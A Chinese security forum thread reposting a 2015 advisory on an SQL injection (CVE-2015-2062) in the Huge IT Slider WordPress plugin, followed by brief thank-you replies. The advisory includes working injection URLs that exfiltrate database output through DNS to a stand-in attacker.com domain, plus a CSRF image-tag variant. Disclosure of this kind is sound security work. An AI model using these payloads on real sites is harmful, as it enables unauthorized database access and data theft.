90_ 发表于 2015-3-13 15:25:52

WordPress Huge IT Slider 2.6.8插件注入漏洞

Product: Huge IT Slider WordPress Plugin
Vendor: Huge-IT
Vulnerable Version(s): 2.6.8 and probably prior
Tested Version: 2.6.8
Advisory Publication:  February 19, 2015 
Vendor Notification: February 19, 2015
Vendor Patch: March 11, 2015
Public Disclosure: March 12, 2015
Vulnerability Type: SQL Injection
CVE Reference: CVE-2015-2062
Risk Level: Medium
CVSSv2 Base Score: 6 (AV:N/AC:M/Au:S/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )
 
-----------------------------------------------------------------------------------------------
 
Advisory Details:
 
High-Tech Bridge Security Research Lab discovered an SQL injection vulnerability in Huge IT Slider WordPress Plugin. This vulnerability can be exploited by website administrators as well as anonymous attackers to inject and execute arbitrary SQL queries within the application’s database.
 
 
1) SQL injection in Huge IT Slider WordPress plugin: CVE-2015-2062
 
The vulnerability exists due to insufficient filtration of input data passed via the "removeslide" HTTP GET parameter to "/wp-admin/admin.php" script when "task" parameter is set to "popup_posts" or "edit_cat". A remote authenticated attacker with administrative privileges can execute arbitrary SQL queries within the application’s database.
 
Below are two simple exploit codes that are based on DNS Exfiltration technique. They can be used if the database of the vulnerable application is hosted on a Windows system. The codes will send a DNS request requesting IP address for `version()` (or any other sensitive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker).
 
1. Exploit example for "task=popup_posts": http:///wp-admin/admin.php?page=sliders_huge_it_slider&task=popup_posts&id=1&removeslide=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) --
 
2. Exploit example for "task=edit_cat": http:///wp-admin/admin.php?page=sliders_huge_it_slider&task=edit_cat&id=1&removeslide=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) --
 
This vulnerability can be also exploited remotely by non-authenticated attackers using CSRF vector, since the web application is also prone to Cross-Site Request Forgery attacks. The attacker could use the following exploit code against authenticated website administrator to determine version of installed MySQL server:
 
<img src="http:///wp-admin/admin.php?page=sliders_huge_it_slider&task=popup_posts&id=1&removeslide=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) --">
 
-----------------------------------------------------------------------------------------------
 
Solution:
 
Update to Huge IT Slider 2.7.0
 
More Information:
https://wordpress.org/support/topic/huge-it-slider-security-vulnerability-notification-sql-injection
 

广岛秋泽 发表于 2015-3-13 20:15:05

谢谢分享~            

wilist 发表于 2015-6-28 19:22:38

还是不错的哦,顶了

54hacker 发表于 2015-7-1 00:18:49

感谢楼主的分享~

a136 发表于 2015-7-1 08:26:02

ruguoruo 发表于 2015-7-1 18:44:43

小路 发表于 2015-7-2 04:56:28

感谢楼主的分享~

Sty,涛 发表于 2015-7-2 07:51:26

感谢楼主的分享~

菜鸟小羽 发表于 2015-7-4 19:54:56

还是不错的哦,顶了

wanmznh 发表于 2015-7-6 07:47:34

页: [1]
查看完整版本: WordPress Huge IT Slider 2.6.8插件注入漏洞